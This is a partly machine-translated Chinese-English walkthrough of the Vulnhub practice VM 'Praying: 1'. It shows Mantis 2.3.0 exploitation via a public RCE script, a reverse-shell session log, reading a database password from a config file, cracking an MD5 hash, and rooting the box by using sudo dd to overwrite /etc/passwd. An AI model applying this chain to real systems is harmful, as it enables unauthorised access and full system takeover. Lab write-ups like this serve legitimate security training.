Praying: 1 vulnhub walkthrough

Praying: 1

虚拟机信息：http://www.vulnhub.com/entry/praying-1,575/

1. 获取shell

80/tcp   open   http           Apache httpd 2.4.41 ((Ubuntu))

服务器只开放了80端口,访问后为apache默认页面,于是用dirbran the directory,发现了admin目录.

==> DIRECTORY: http://192.168.56.105/admin/

Found after discoverymantis的登陆页面

After testing, it was found that there is still an arbitrary account password reset vulnerability.修改aministrator账户登陆,发现版本为2.3.0.

利用searchsploitDirectly found the command execution code.

Mantis Bug Tracker 2.3.0 - Remote Code E | php/webapps/48818.py

于是得到了第一个shell.

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.56.101:4444 
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.105:55892) at 2020-11-26 08:31:16 -0500

id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html$ 

2. 获取root

Do some information gathering first

cat /etc/passwd|grep /bin/bash
root::0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash

ls -all /home
total 24
drwxr-xr-x  6 root      root      4096 Sep 24 23:01 .
drwxr-xr-x 20 root      root      4096 Sep 24 16:12 ..
drwx------  3 developer developer 4096 Sep 24 20:15 developer
drwx------  4 elevate   elevate   4096 Nov 26 13:12 elevate
drwx------  4 mantis    mantis    4096 Sep 26 23:25 mantis
drwx------  5 projman   projman   4096 Sep 26 23:27 projman

发现了用户mantis,So check whether there are any files related to the user.

发现存在/var/www/redmine目录,进入之后在database.yml找到了用户 projman的口令.

adapter: mysql2
  database: redmine
  host: localhost
  username: projman
  password: "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
  # Use "utf8" instead of "utfmb4" for MySQL prior to 5.7.7
  encoding: utf8mb4

切换用户登陆,It was found that there is a file under the user for .part1.

ls -all
total 36
drwx------ 5 projman projman 4096 Sep 26 23:27 .
drwxr-xr-x 6 root    root    4096 Sep 24 23:01 ..
lrwxrwxrwx 1 projman projman    9 Sep 24 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 projman projman  220 Sep 24 20:11 .bash_logout
-rw-r--r-- 1 projman projman 3771 Sep 24 20:11 .bashrc
drwx------ 2 projman projman 4096 Sep 24 20:13 .cache
drwxrwxr-x 3 projman projman 4096 Sep 24 23:47 .local
-rw-r--r-- 1 projman projman   33 Sep 24 23:47 .part1
-rw-r--r-- 1 projman projman  807 Sep 24 20:11 .profile
drwx------ 2 projman projman 4096 Sep 26 23:27 .ssh
cat .part1
4914CACB6C089C74AEAEB87497AF2FBA

Put that password incmd5Crack to get new userselevate的密码tequieromucho.

切换到该用户,查看sudo -l,发现可以sudo执行dd命令.这个就比较简单了,重写一个/etc/passwd取消root账户密码,成功获取root.这是新的passwd文件1.txt.

cat 1.txt
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
........................

[email protected]:~$ sudo -u root dd if=1.txt of=/etc/passwd
sudo -u root dd if=1.txt of=/etc/passwd
[sudo] password for elevate: tequieromucho

8+1 records in
8+1 records out
4106 bytes (4.1 kB, 4.0 KiB) copied, 0.000241207 s, 17.0 MB/s
[email protected]:~$ su - root
su - root
[email protected]:~# ls
ls
message  part2  root.txt  snap
[email protected]:~# cat root.txt
cat root.txt

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https://www.youtube.com/watch?v=T1XgFsitnQw